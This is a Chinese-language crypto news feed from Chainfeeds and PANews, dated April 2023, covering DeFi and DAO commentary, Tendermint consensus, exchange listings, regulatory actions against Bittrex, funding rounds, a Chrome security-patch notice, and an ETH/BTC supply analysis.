    Chainfeeds 导读： dForce 创始人 mindao 从 DeFi 角度探讨了如何与社区 DAO 整合，他认为把币圈的人的节点串起来是短期 DeFi 出圈的优先路径，而社区 DAO 形成的 Web3 用户协作网络拥有天然优势。同时，他还提出了多个 DeFi 向社区 DAO 下沉的具体用例。 文章来源： https://twitter.com/mindaoyang/status/1647995240358486017 文章作者： Mindao（dForce 创始人） 观点： Mindao（dForce 创始人）：比较优先的的路径是把币圈的人的节点串起来，让人的联合体成为 crypto 网络支点之一。而社区 DAO 是天然的人与人的联合体，成员对 crypto 有高度认知和认同，都通过 web3 组织和中间件协作形成 web3 协作网络。通过贡献体系和身份体系，建立高度真实的身份和声誉体系和链下 / 出圈网络，这是串联人和 crypto 宇宙的虫洞。 内容来源 Mindao（dForce 创始人）：DeFi 向社区 DAO 下沉的具体用例：给社区 DAO 的身份体系做针对性的融资；全球化的社区 DeFi 多货币法币兑换系统；基于声誉代币的无抵押贷款；给社区 SBT 身份代币做质押融资；本地化碳排放交易；多社区 DAO 财库联盟整合协议收入；为社区 DAO 联盟提供孵化融资；为垂直的社区 DAO 的最定向融资；社区驱动的公益类 LST 节点；基于社区 DAO 信用的稳定币等等。 内容来源 Mindao（dForce 创始人）：无论是虚拟 Network State，还是 Balaji 买岛买地最终争取外交承认的高大尚打法，都想把链下的人的节点和链上打通。虽我不喜欢网络国家这说法，但社区 DAO 的最终可能就是人和 crypto 的联合体，连接链下和链上的公共节点，某种意义的无国界网络国家。DeFi 也会扮演 crypto 国度的金融公共物品的角色。 内容来源  ( 2 min )
    【英文长推】读懂 Cosmos Tendermint 共识：工作原理、特点与优化
    Chainfeeds 导读： 目前，有超过 50 个 Cosmos 应用链构建在 Cosmos Tendermint 共识之上，Cosmos 生态研究袁 Le Thang 简要描述了 Tendermint 共识的工作原理及优势，并盘点了针对 Tendermint 共识的技术优化。 文章来源： https://twitter.com/LeThang137/status/1648023588086382592 文章作者： Le Thang 观点： Le Thang：Tendermint 的工作原理：1. 提议者提出一个区块，假设一个新值 = 1；2. 验证者将投票发送给其他节点（预投票）；3. 一旦一个节点收到 2/3 的投票，该节点就会将该结果发送给其他节点（预提交）；4. 节点等待来自所有验证节点的 2/3 的预提交，以决定是将值更新为 1 还是拒绝该块。只要超过 2/3 的验证节点是诚实的，系统就是安全的。【原文为英文】 内容来源 Le Thang：Tendermint 的特点：费用低、即时最终性、松散同步性、可扩展性、出块时间约 6 秒、高 TPS。Tendermint 的兼容性：由于 Tendermint 是一种通用的共识协议，任何编程语言和应用程序都可以在 Tendermint 之上运行。【原文为英文】 内容来源 Le Thang：Tendermint 共识优化：EvmosOrg 构建了 Ethermint = Tendermint + EVM 兼容；PolymerDAO 正在构建 zkMint，一个 ZK 友好的 Tendermint 共识引擎。Anoma 构建的 Typhon 共识解决了区块提案瓶颈并通过并行化提高了交易计算速度。【原文为英文】 内容来源  ( 2 min )
    【英文长推】提前发现韩国市场密货币炒作时机的方法
    Chainfeeds 导读： 今年一些最大的涨势是由韩国市场推动的，比如 APT 和 ARB。加密货币 Miles Deutscher 阐述了可以提前发现韩国市场上炒作的方法。 文章来源： https://twitter.com/milesdeutscher/status/1647935382087139328 文章作者： Miles Deutscher 观点： Miles Deutscher：以下有 4 个步骤可以有效捕捉到韩国市场加密货币炒作时机：1）监控新上市的货币。可以使用像 Crypto Exchange Listing Bot 这样的网站，让它在有新币种上市时发送提醒。2）使用 CoinMarketCap 监控交易对成交量。此仪表板允许用户查看按成交量排名的前几个代币以及其他相关指标，这对于跟踪哪些交易对是「热门」的很有用。【原文为英文】 内容来源 Miles Deutscher：3）通过使用机器人自动识别出现异常成交量峰值来进一步进行操作。 如果出现成交量激增，并不意味着我会立即全力买入该货币。我会把成交量增加视为一个信号来进一步研究该代币，并确定价格行动背后的驱动因素。搞清楚以下几个问题：这个代币和韩国社区之间是否有协同效应？成交量的增加是否持续了相当长的时间？是否有其他因素影响价格走势？图表设置看起来好吗？【原文为英文】 内容来源 Miles Deutscher：4）寻找具有高 FDV 但低流通量的代币。低流通量意味着成交量增加可能会对价格产生更大的影响。APT 和 ARB 都是这方面的例子。这就是它们为什么会如此激烈地上涨（尤其是前者）的原因之一。【原文为英文】 内容来源  ( 2 min )
    Arbitrum 基金会关于扩大 ARB 代币持有人监督和治理权力的两项提案均已通过
    Arbitrum 基金会关于扩大 ARB 代币持有人监督和治理权力的两项提案均已通过 Arbitrum 基金会关于扩大 ARB 代币持有人监督和治理权力的两项新提案（AIP-1.1 和 AIP-1.2）均已通过投票。其中提案 AIP-1.1 建议将基金会剩余的 7 亿 ARB 置于「智能合约控制的锁定」中，该锁定将在四年内解锁，在社区成员批准代币分配预算之前，基金会将无法使用代币，一部分代币将用于资助 Arbitrum 基金会第一年的运营预算；提案 AIP-1.2 旨在修改 Arbitrum 生态系统的几个治理文件，包括将在链上发布改进提案所需的 ARB 代币数量的门槛从 500 万个 ARB 降低到 100 万个 ARB。 内容来源
    芝商所计划从 5 月 22 日开始扩大比特币和以太坊期权的合约期限
    芝商所计划从 5 月 22 日开始扩大比特币和以太坊期权的合约期限 据金十数据报道，芝商所（CME）：计划从 5 月 22 日开始扩大比特币和以太坊期权的合约期限，这些合约待监管部门审查。有了这些新合约，周一到周五的每个工作日都将有到期的合约。 内容来源
    【英文】Bankless：加密市场 5 个看涨信号
    Chainfeeds 导读： 以太坊上海升级将带来抛压、监管瞄准 CZ… 尽管加密市场依然处于各类 FUD 中，但加密货币自 FTX 崩盘以来一直在上涨，并在银行业倒闭的危机中需求激增。Bankless 分析师 Jack Inabinet 选取了未平仓合约、链上数据、稳定币比例、波动率以及 ETH 提款数据等 5 个指标的表现，认为 ETH 和 BTC 等主要加密货币已经突破了低迷的熊市交易区间，山寨币也即将进入上涨周期。 文章来源： https://www.bankless.com/5-bullish-crypto-market-signals 文章作者： Jack Inabinet 观点： Jack Inabinet：信号 1：未平仓合约上升。BTC 期货的总持仓量超过了 FTX 崩盘前的 99 亿美元的高点，在周二和周四突破了 100 亿美元。未平仓头寸重建和流动性改善是市场状况改善的迹象。信号 2：链上数据回暖。日活跃地址稳定在 200 万左右，自去年 8 月触底以来，增长了 77%。DeFi 收益率自去年 6 月以来继续呈上升趋势，从低点上涨了 94.2%。【原文为英文】 内容来源 Jack Inabinet：信号 3：稳定币配置降低。FTX 崩盘以来，聪明钱一直在增加其净加密货币敞口。链上数据显示，该部分投资者持有的稳定币比例平均占其总资产 15%，为去年 5 月初至今的最低点，表明市场情绪从美元挂钩资产转向代币。【原文为英文】 内容来源 Jack Inabinet：信号 4：波动率下降。追踪 ETH 和 BTC 波动率的 CVI 指数一直在下降，已达到此前牛市的价格级别。信号 5：ETH 提款并未带来砸盘。提取的 ETH 中有相当一部分尚未售出，而是重新质押到网络。【原文为英文】 内容来源  ( 7 min )
    浏览器安全扩展程序 Wallet Guard 完成 Pre-seed 轮融资，ConsenSys 等参投
    浏览器安全扩展程序 Wallet Guard 完成 Pre-seed 轮融资，ConsenSys 等参投 浏览器安全扩展程序 Wallet Guard 宣布完成 Pre-seed 轮融资，由 Ethereal Ventures 领投，ConsenSys、IOSG Ventures 以及天使投资人 Ben Chan（Chainlink）和 Dave Pazdan（Phantom）参投，融资金额暂未披露。Wallet Guard 提供模拟交易、钓鱼检测以及安全仪表盘等多个功能，用于保障用户资产安全。 内容来源  ( 3 min )
    DeFi 基础设施提供商 Fractal 完成 600 万美元融资，Hack VC 领投
    DeFi 基础设施提供商 Fractal 完成 600 万美元融资，Hack VC 领投 DeFi 基础设施提供商 Fractal 宣布完成 600 万美元种子轮融资，由 Hack VC 领投，6MV、Archetype、CMT Digital、Blizzard Fund、Circle、CoinShares、GoldenTree、QCP Capital、The Spartan Group 等参投。Fractal 使机构能够清算、结算和管理链上数字资产的抵押品，支持透明的储备证明、第三方抵押品管理和即时链上结算等功能。 内容来源  ( 2 min )
    Aave 「将 Aave V3 部署至 zkSync Era 主网」提案通过温度检查投票
    Aave 「将 Aave V3 部署至 zkSync Era 主网」提案通过温度检查投票 据 Snapshot 投票页面显示，Aave 社区发起的「将 Aave V3 部署至 zkSync Era 主网」提案已通过温度检查投票，支持率为 99.78%。根据提案，通过温度检查后的下一步将是进入 ARFC 阶段并进行进一步讨论，随后是风险参数评估和提案的最终确定。 内容来源
    SEC 指控 Bittrex 及其 CEO 未进行交易所注册
    SEC 指控 Bittrex 及其 CEO 未进行交易所注册 美国证券交易委员会（SEC）就加密货币交易所 Bittrex 和其前首席执行官未进行交易所注册发出指控。SEC 还指控 Bittrex, Inc. 的外国子公司 Bittrex Global GmbH 未能在与 Bittrex 共享交易订单簿的情况下进行注册。投诉进一步称，Bittrex 和 Bittrex Global 应该注册为交易所，Bittrex 还应该注册为清算机构和经纪人。 内容来源  ( 7 min )

  • Open

    耐克Web3平台.SWOOSH将于4月18日投放数字海报，Our Force 1空投将于5月8日开启
    PANews 4月18日消息，据官方消息，耐克Web3平台.Swoosh将从4月18日开始向第一代Swoosh用户免费投放106453张数字海报，获得海报的用户可在5月8日提前参加Our Force 1（OF1）空投，剩余用户可在5月10日参与空投。据此前消息，SWOOSH于4月6日在官方博客宣布即将上线Our Force 1，以向耐克公司五十周年致敬。  ( 1 min )
    Coinbase CEO：银行禁止向加密公司支付法币的做法不可行
    PANews 4月18日消息，Coinbase首席执行官Brian Armstrong推特发文称，今日与英国经济大臣和城市部长Andrew Griffith举行了会议。英国正在加快制定合理的加密监管措施，以推动经济增长和消费者保护。他表示，一些英国银行禁止向加密公司支付法币的做法不可行。实施欺诈控制是有道理的，但全面禁止则不然，而且很可能不合法。此外，24小时的加密交易“冷却”期并不合理，将会损害现实世界用例、资本市场形成和消费者的利益。  ( 1 min )
    Coinbase宣布将上架Virtua(TVK)和Dimo(DIMO)
    PANews 4月17日消息，Coinbase 宣布将在以太坊网络（ERC-20 代币）上增加对 Virtua (TVK) 和 Dimo (DIMO) 的支持。如果满足流动性条件，交易将于北京时间 2023 年 4 月 18 日 24 点或之后开始。一旦该资产的供应充足，TVK-USD 和 DIMO-USD 交易对将分阶段推出。  ( 1 min )
    纽约金融服务部通过虚拟货币评估条例
    PANews 4月17日消息，纽约州金融服务部 (DFS) 今日已通过一项最终法规（虚拟货币评估条例），规定如何评估持有 DFS 颁发的 Bitlicense 的公司的监督和检查成本。所采用的法规使纽约州 23 财年预算中的一项条款生效，赋予 DFS 新的权力，可以从获得许可的虚拟货币业务中收取监管费用，类似于 DFS 监管的其他被许可方。该法规将允许该部门继续为其虚拟货币团队增加顶尖人才，以继续高效和有效的监管监督。 DFS 的虚拟货币监管框架仿照全范围银行监管，要求公司在资本化、网络安全保护和反洗钱协议等方面满足严格的标准。最终法规规定了评估虚拟货币业务运营成本的流程，与受监管的银行和保险实体相当。  ( 1 min )
    美国SEC就Bittrex及其CEO未进行交易所注册发出指控
    PANews 4月17日消息，美国证券交易委员会（SEC）就加密货币交易所Bittrex和其前首席执行官未进行交易所注册发出指控。在Bittrex诉讼中SEC称Algorand是证券。SEC表示，从 2017 年到 2022 年，Bittrex 从包括美国投资者在内的投资者那里赚取了至少 13 亿美元的收入，同时作为经纪人、交易所和清算机构为他们提供服务，而没有向委员会注册任何这些活动。 SEC 向美国华盛顿西区地方法院提起的诉讼称，Bittrex 和 Bittrex Global 应该注册为交易所，因为它们使用共享订单簿将多个买卖双方的证券订单集中在一起，使用此类订单交互的既定非自由裁量方法，输入此类订单的买卖双方同意交易条款。 投诉进一步称，Bittrex 应该注册为清算机构，因为它在匹配买卖订单时充当支付和交付的中介，并保管客户资产。最后，投诉称 Bittrex 应该注册为经纪人，因为它经常从事为他人账户进行交易的业务，这些账户以证券形式提供和出售的加密资产。 此前，Bittrex曾在上月宣布关闭美国业务前收到SEC“韦尔斯通知”。  ( 2 min )
    PA日报｜黄立成发推称退出NFT领域；Klaytn已销毁52.96亿枚KLAY
    今日要闻提示： 美议员拟提出立法以罢免SEC主席Gary Gensler，因其在加密监管中滥用职权 Bittrex曾在上月宣布关闭美国业务前收到SEC“韦尔斯通知” 黄立成发推称退出NFT领域 Arbitrum社区正对AIP-1.1和AIP-1.2提案进行投票，目前支持票占优 韩国公链Klaytn已销毁52.96亿枚KLAY，占总供应量的50% 芝商所计划从5月22日开始扩大比特币和以太坊期权的合约期限 加密公司Galactic Holdings完成1000万美元Pre-A轮融资，BAI Capital领投 CoinShares：上周数字资产投资产品净流入约1.14亿美元 监管消息 美议员拟提出立法以罢免SEC主席Gary Gensler，因其在加密监管中滥用职权 在昨日对Coinbase首席法务官Paul Grewal推文的回应中，美国众议院金融服务委员会的共和党成员Warren Davidson表示：“为了纠正一长串的滥用行为，我正在提出立法，罢免证券交易委员会（SEC）主席Gary Gensler，并以向董事会（权力所在的机构）报告的执行董事取而代之。美国证券交易委员会前主席没有资格。” 此前4月14日消息，美国SEC更新规则，更加明确对数字资产交易平台的监管。 Bittrex曾在上月宣布关闭美国业务前收到SEC“韦尔斯通知” 据华尔街日报报道，美国证券交易委员会（SEC）的执法部门建议SEC以涉嫌违反投资者保护法起诉加密货币交易所Bittrex。 Bittrex总法律顾问David Maria表示，执法部门在3月份向Bittrex通报了SEC可能采取的行动。 SEC在向Bittrex发出的韦尔斯通知（Wells Notice）中表示，Bittrex在未向监管机构注册的情况下作为交易所、经纪自营商和票据交易所开展业务，违反了法律。 此前4月1日消息，Bittrex将于4月30日关闭美国业务，其它地区业务不受影响。 英国央行副行长：英国的任何系统性稳定币都需要有高质量和流动性资产的支持 据金十报道，英国央行副行长坎利夫表示支持在央行数字货币方面开展更多工作。90%的人使用无接触式信用卡。英国的任何系统性稳定币都需要有高质量和流动性资产的支持。至少在初期不可能给稳定币持有人提供行业资助的防止稳定币失效的保护。可能需要在开始时对用于支付的稳定币进行限制。 NFT 黄立成发推称退出NFT领域 中国台湾歌手黄立成（推特账号Machi Big Brother）在4月15日的推文中称，其已退出NFT领域。不过其推特头像仍为“无聊猿”BAYC NFT的图片。 元宇宙 昆仑万维正式发布千亿级大语言模型“天工”，即日起启动邀请测试 据财联社报道，昆仑万维今日正式发布千亿级大语言模型“天工”，同时宣布即日起启动邀请测试。从“天工”目前发布版本来看，最高已能支持1万字以上文本对话，实现20轮次以上用户交互。 根据此前消息，“天工”大模型已经非常接近OpenAI ChatGPT的智能水平。 项目动态 Arbitrum社区正对AIP-1.1和AIP-1.2提案进行投票，目前支持票占优 Snapshot投票页面显示，Arbitrum社区正在对关于扩大ARB代币持有人监督和治理权力的两项提案（AIP-1.1和AIP-1.2）进行投票，这两项投票于4月11日开始，并均将于4月18日凌晨截止。 提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。 提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。目前该两项提案的支持率均在98%以上。 华尔街日报：交通银行香港子公司正与多家香港持牌加密公司合作 据《华尔街日报》援引几家加密货币公司透露，中国交通银行股份有限公司香港子公司正与多家在香港获得牌照的加密货币公司合作，并正在与其他受监管的公司就为其开立账户进行磋商。 此前4月14日消息，HashKey PRO目已经与香港众安银行（ZA Bank）和交通银行（香港）建立了伙伴关系，作为结算银行，提供法币的存款和提款服务。 币安创新区将移除SHIB、1INCH、TWT和FXS 币安发公告称，根据最近的审核，币安决定在2023年04月18日将以下币种移出创新区：Shiba Inu (SHIB)、Frax Share (FXS)、Trust Wallet Token (TWT)、1inch (1INCH)。与这些币种相关的其他服务不会受到影响。 币安在此公告中强调：“引入创新区是为了给币安用户一个安全的地方来交易创新的项目。随着时间的推移，其中一些项目已经证明了它们的价值并达到了我们期望的高标准。当我们在定期项目审核中发现此类项目时，我们会将它们移出创新区。” 预警：谷歌Chrome浏览器紧急发布安全补丁，修复可盗取比特币私钥等信息的漏洞 据IT之家报道，近日，谷歌发现Chrome浏览器存在一个严重的安全漏洞，该漏洞已经被黑客利用，可能导致用户的数据和电脑受到损害。为了解决这个问题，谷歌紧急推出了一个安全更新112.0.5615.121版本，并建议所有的Chrome用户尽快安装。 这个漏洞被命名为CVE-2023-2033，是一个类型混淆漏洞，出现在Chrome浏览器使用的V8 JavaScript引擎中。简单来说，类型混淆漏洞是一种允许使用错误的类型访问内存的Bug，从而导致越界读写内存。这个漏洞的危险之处在于，黑客可以制作一个恶意的HTML页面，利用堆内存的损坏来执行任意代码。有用户指出，所造成的危害包括但不限于盗取比特币私钥、盗取通讯录、相册等敏感文件等。 一般来说，Chrome浏览器会自动更新，但用户也可以手动检查是否已经安装了最新版本。用户可以点击Chrome浏览器右上角的三个点菜单，选择“帮助”，然后选择“关于Chrome”来查看自己的版本号。此外，如果用户在Microsoft Edge、猎豹、360等浏览器中使用了Chrome内核的浏览器，也需升级最近版本以避免被攻击。 Eureka Trading创始人：去年因私钥泄露被盗1500万美元，愿向协助追回者提供报酬 加密领域金融衍生品的交易公司Eureka Trading创始人Kuan Sun在推特上表示：“去年6月本人因为私钥泄露，被黑客盗取资金1500万美金，目前虽然有了一些初步的IP等信息，但是还未能确定黑客的身份，希望有能力提供有价值线索的人士或者单位能够协助追回，可以提供报酬。黑客地址：0xa1ac23be458e14ac0a0003dc1343d2ac575ea3b6。至少20%的资金会被用来当做报酬，具体比例视乎贡献程度。所以至少是300万美金的报酬，有能力的都可以试试。” 今日晚些时候消息，Web3知识图谱协议0xScope称其追踪到这1500万美元资产已转入Tornado Cash。 韩国公链Klaytn已销毁52.96亿枚KLAY，占总供应量的50% 韩国公链项目Klaytn今日发推文称，Cypress KIP-103硬分叉已在区块119750400处执行，销毁和资金再平衡均已完成，已销毁5,296,324,269 枚KLAY，占总供应量的50%。 根据4月13日的消息，这些被销毁的代币来自Klaytn的国库（总计72.81亿），系2019年主网启动期间铸造。储备中剩余的20亿代币将被保留，用于为未来的生态系统提供资金；但如果未能保证用途，这些代币也将在三年内被烧毁。 福布斯：不丹主权财富基金Druk在过去一年里秘密向加密货币投入数千万美元 据福布斯报道，法庭文件显示，在过去的一年里，不丹王国皇家持有和管理政府的主权财富基金Druk Holdings & Investments向比特币、以太坊和其他数字资产投入了数千万美元，并且其是已破产的加密货币贷方BlockFi和Celsius的客户，但它从未公开披露过这两点。据悉，该基金持有29亿美元的资产。 上个月，BlockFi的律师向不丹首都廷布的Druk提交了一份诉状，指控Druk拖欠3000万美元贷款。Druk的首席执行官Ujjwal Deep Dahal表示：“BlockFi的问题已经解决。由于保密原因，我们无法发表评论。”此外，在Celsius法庭文件中显示的三个月内，Druk提取了超过6500万美元，并存入了近1800万美元的数字资产。Druk拒绝评论这些资金的来源和使用方式。 据报道，至少从2022年开始，Druk还培养了一个秘密的加密投资组合。目前尚不清楚Druk的持股是否与不丹最近的现代化计划有关。报道称，Druk对加密货币的数千万美元投资对于一家旨在促进国内风险投资的控股公司来说将是一个奇怪的举动。如果它确实是一个主权财富基金，它似乎是第一个直接拥有加密货币的基金。国际主权财富基金论坛首席执行官Duncan Bonfield否认了这种说法，称“我们没有看到对加密货币作为一种资产类别的真正兴趣，我们不相信我们的任何成员在他们的投资组合中配置了加密货币。” 灰度Solana信托已支持在场外交易市场交易 灰度（Grayscale）宣布其 Solana 信托已支持在场外交易市场交易，代码为 GSOL。灰度称，截至 2023 年 4 月 14 日，GSOL 流通的股份为 304,427 股，所有获得美国证券投资资格的用户都可以自由交易 GSOL 股票，方式与其他证券相同。Grayscale 现在提供 16 种在场外交易市场报价的数字货币投资产品。 芝商所计划从5月22日开始扩大比特币和以太坊期权的合约期限 据金十报道，芝商所（CME）：计划从5月22日开始扩大比特币和以太坊期权的合约期限，这些合约待监管部门审查。有了这些新合约，周一到周五的每个工作日都将有到期的合约。 加密货币交易所Luno将于6月开始停止在新加坡的运营 据Techinasia报道，DCG旗下加密货币交易所 Luno 将于 2023 年 6 月 20 日起停止向新加坡用户提供服务，用户需要在 6 月 19 日之前从 Luno 中提取所有加密货币或新加坡元。如果用户未能在 6 月 19 日之前提取其持有的加密货币，这些加密货币将以现行市场价格出售并以新加坡元存储，出售将适用 Luno 现有的 0.75% 即时交易费用。该决定不会影响其在马来西亚的业务。Luno 表示，此举是“对其全球战略和存在的定期评估”的一部分。 融资消息 加密公司Galactic Holdings完成1000万美元Pre-A轮融资，BAI Capital领投 拉丁美洲加密货币公司Galactic Holdings宣布成功完成了1,000万美元的Pre-A轮融资。本轮由BAI Capital领投，Animoca Brands、Y2Z Ventures、Longling Capital、Head & Shoulders、TKX Digital Group、Perseverance Capital和Palm Drive Capital等公司参与。本次融资将进一步推进Galactic Holdings在拉美地区的发展。 Galactic Holdings是拉丁美洲目前唯一一家合规的，且同时拥有数字货币钱包TruBit、交易所TruBit Pro以及墨西哥比索锚定的稳定币MMXN的大型综合性平台。Galactic Holdings的首席执行官和联合创始人Maggie Wu表示Galactic将致力于拉美地区加密货币业务的全面发展。 矿业消息 HIVE Blockchain 3月产出282枚比特币，环比增长12.8% 加密矿企HIVE Blockchain 3月共产出282枚比特币，较2月的250枚环比增长12.8%。截至3月31日HIVE Blockchain共持有2310枚比特币。截至3月31日，HIVE Blockchain运行的总算力为3.36 EH/s，环比增长12%。 重要数据 数据：以太坊升级以来净提款约62万枚ETH，当前近89.72万枚ETH待提款 Token Unlock数据显示，（截止4月17日8:07）自以太坊上海升级完成以来，已有约99.25万枚ETH解除质押，约36.84万枚ETH新存入质押，净提款约62.41万枚ETH。此外，当前近89.72万枚ETH处于待提款状态，验证者数量约为46.88万名。 数据：Blur 3月份版税收入超OpenSea，达1260万美元 据The Block报道，Blur 在 3 月份向创作者支付的版税收入超过 OpenSea，达到 1260 万美元，高于 2 月份的 1120 万美元。相比之下，OpenSea 的特许权使用费从 1730 万美元下降到 990 万美元。 CoinShares：上周数字资产投资产品净流入约1.14亿美元 据CoinShares周报数据，上周数字资产投资产品净流入 1.137 亿美元，近 4 周总计流入约 3.45 亿美元。其中比特币投资产品净流入 1.038 亿美元，以太坊投资产品净流入 30 万美元，做空比特币的投资产品净流入 1460 万美元。  ( 4 min )
    英国央行副行长：英国的任何系统性稳定币都需要有高质量和流动性资产的支持
    PANews 4月17日消息，据金十报道，英国央行副行长坎利夫表示支持在央行数字货币方面开展更多工作。90%的人使用无接触式信用卡。英国的任何系统性稳定币都需要有高质量和流动性资产的支持。至少在初期不可能给稳定币持有人提供行业资助的防止稳定币失效的保护。可能需要在开始时对用于支付的稳定币进行限制。  ( 1 min )
    芝商所计划从5月22日开始扩大比特币和以太坊期权的合约期限
    PANews 4月17日消息，据金十报道，芝商所（CME）：计划从5月22日开始扩大比特币和以太坊期权的合约期限，这些合约待监管部门审查。有了这些新合约，周一到周五的每个工作日都将有到期的合约。  ( 1 min )
    灰度Solana信托已支持在场外交易市场交易
    PANews 4月17日消息，灰度（Grayscale）宣布其 Solana 信托已支持在场外交易市场交易，代码为 GSOL。灰度称，截至 2023 年 4 月 14 日，GSOL 流通的股份为 304,427 股，所有获得美国证券投资资格的用户都可以自由交易 GSOL 股票，方式与其他证券相同。Grayscale 现在提供 16 种在场外交易市场报价的数字货币投资产品。  ( 2 min )
    数据：Blur 3月份版税收入超OpenSea，达1260万美元
    PANews 4月17日消息，据The Block报道，Blur 在 3 月份向创作者支付的版税收入超过 OpenSea，达到 1260 万美元，高于 2 月份的 1120 万美元。相比之下，OpenSea 的特许权使用费从 1730 万美元下降到 990 万美元。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.17）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    从供给角度分析：ETH和BTC的牛市何时来？
    撰写：BEN LILLY 编译：深潮 TechFlow 牛市什么时候会重现？这是所有人都想问的问题。 然而问题并没有确切答案，但一个分析框架有助于我们接近正确答案。 加密分析师 BEN 从经济学最基础的供给曲线入手，分析了供给变化后以太坊和比特币可能的价格变化，并以历史上石油价格变化为例，试图穿透那个供需关系左右价格的规律。 以下原文，是刻舟求剑还是精准预言？也许读完后每一个你们的心里，都会有各自的答案。 2023 年的后半年将迎来各种叙事的百花齐放。这曾在 2020 年和 2021 年发生过，当时由于 COVID，印钞机在当年全面运转。当然，后遗症就是通货膨胀。 牛市中，每个交易员、投资者和玩家都在鼓吹着比特币可以对冲通货膨胀的叙事。这也是很多人认为比特币长期趋势上涨的原因。 但将时间倒回一年前，结果并不理想。在 2022 年 3 月至 9 月的几个月里，通货膨胀率每个月都超过 8%......但在同样的时间范围内，比特币下跌了 50%。 结果证明，比特币对冲通货膨胀的叙事并没有奏效。那么发生了什么？ 嗯，许多专家开始改变说法，说比特币是通货膨胀的早期指标。 事实上，你可以忽略任何叙事、宏观情绪以及其他所有因素，只关注一个主要的问题 ——减半。正如我们将在后面提到的那样，许多价格的变化是基于供应基本面的。 但是，让我们今天我们先从以太坊开始说起。 它进行了 Shanghai 升级。虽然这次升级看起来对其供应的影响微乎其微......但是，在未来几个月中，它可能会造成没人预料到的供应冲击。这可能使得以太坊在第三季度和第四季度比比特币更具优势。 然后我们将讨论我之前提到的……比特币在 2023 年末和 2024 年将迎来的全方位叙事。 我花了十多年的时间试图掌握经济学这门“社会科学”的规律，所以当我大约六年前进入加密领域时，我以为我正在放弃之前学习的东西，转而开始尝试新事物。结果发现，从“社会科学”中学到的供需曲线已经深深刻在我的脑海里。 所以，在分析 ETH（和其他代币）时，我忍不住会用供需曲线来看待问题，并且会应用货币理论来分析 ETH。 Eigen Layer 也不例外。 简单介绍一下，Eigen Layer 旨在让人们使用质押的 ETH 来保护以太坊生态系统的其他领域。该团队认为重新质押的 ETH 所产生的能力（即所谓的超流动性质押），可以使 ETH 这种代币更具生产力。 因此，它可能是市场上非常有力的解决方案。但是，当涉及货币经济影响时，我很矛盾。 实施超流动性质押的主要好处是，用户无需购买更多的 ETH 来质押到新项目中，而是可以重复使用当前已质押的 ETH。 下面的这组图表可以帮助巩固这个观点。 在下面的第一个图表中，白线表示 ETH 的供应量。供应线下面的紫线表示减去质押的 ETH 后的 ETH 供应量。这是一种查看 ETH“净流动性”的方式。 这种方式的问题在于，因为 Lido、Frax、Rocket Pool 和其他人提供了流动质押衍生品（LSD），它们本质上使得质押的 ETH 再次具有流动性。这意味着这种净流动性观点从一开始就存在固有缺陷。 因此，在下面的图表中，我加入了 Lido 的 LSD - stETH 的供应量，重新计算了 ETH 的净流动性曲线。 无论如何，如下所示，净流动性明显更高。如果我们再加上 Rocket Pool 的 rETH 和 Frax 的 frxETH，它将会更高。 换句话说，从表面上看，Eigen Layer 似乎会使得质押的 ETH 更具流动性，因为它允许重新使用质押的 ETH。 但实际上，Eigen Layer 将导致 ETH 供应量变得比之前更不具流动性。因为用户将不再在 LSD 上质押 ETH，而是使用 Eigen Layer 进行重新质押。这意味着 Eigen Layer 将导致净流动性下降。 市场上供应减少会导致更强劲的价格趋势。Eigen Layer 解决方案可能不会受到加密市场的关注，但一旦生效，我们可以期待看到其对于价格基本面的提升效应更加强劲。我们期待跟踪 Eigen Layer 的使用情况。 但请记住，ETH 的命运仍然由市场之王 BTC 决定。无论去向何处，ETH 都会追随 BTC 的脚步。 讨论完 ETH，下面进入 BTC。 距离比特币下一个减半大约还有一年的时间。每次比特币减半都会使得新的比特币流通量减少，带来供应冲击。如果我们把它类比为石油，那么这就相当于从地下开采出了更少的石油。当我们看到石油生产商讨论这个话题时，市场价格会因此上涨。通常情况下，新闻会引起价格波动……然后是市场平静……随后价格会在较长时间内缓慢上涨。举个例子，在1999年左右，全球石油供应量就出现了下降。 这是由于 1998 年 3 月和 6 月宣布的全球减产协议所致。有趣的是，在这些减产措施实施之前，我们已经看到了价格有所行动。下面的图表显示了原油期货的价格，并在那个时间段上方画了一条垂直的红线。请注意该时间段附近的价格变化。出现了两次快速上涨超过 20%的情况，说明市场预期会减少石油供应。 但价格继续下跌直到 1999 年。这是因为像这样的供应变化需要时间才能反映在全球市场价格中。 削减供应量和价格反应之间存在滞后效应，因为市场上仍然有存量供应在支撑。但一旦市场上的可用供应开始明显减少，价格就会做出反应。 在 1999 年和 2000 年，一旦供应减少被市场发觉，石油价格上涨了 200%以上。 比特币也是如此。主要区别在于，它的减产被编程进其代码中。这意味着不需要新闻发布，市场知道即将到来的情况，可以基本上提前对它作出反应。 历史表明，在 BTC 每个减产事件前的 13-18 个月之间，价格会触底。我们现在距离下一个减半还有 12 个月，根据这个历史，这就是为什么 BTC 价格最近一直在上涨的原因。 另一个重要的关注点是，在底部和减半事件之间往往会有一个冷静期……而正是这个冷静期提供了一些历史上最好的买进机会。  ( 3 min )
    加密货币交易所Luno将于6月开始停止在新加坡的运营
    PANews 4月17日消息，据Techinasia报道，DCG旗下加密货币交易所 Luno 将于 2023 年 6 月 20 日起停止向新加坡用户提供服务，用户需要在 6 月 19 日之前从 Luno 中提取所有加密货币或新加坡元。如果用户未能在 6 月 19 日之前提取其持有的加密货币，这些加密货币将以现行市场价格出售并以新加坡元存储，出售将适用 Luno 现有的 0.75% 即时交易费用。该决定不会影响其在马来西亚的业务。Luno 表示，此举是“对其全球战略和存在的定期评估”的一部分。  ( 2 min )
    主网上线进入倒计时，如何快速了解Sui Network？
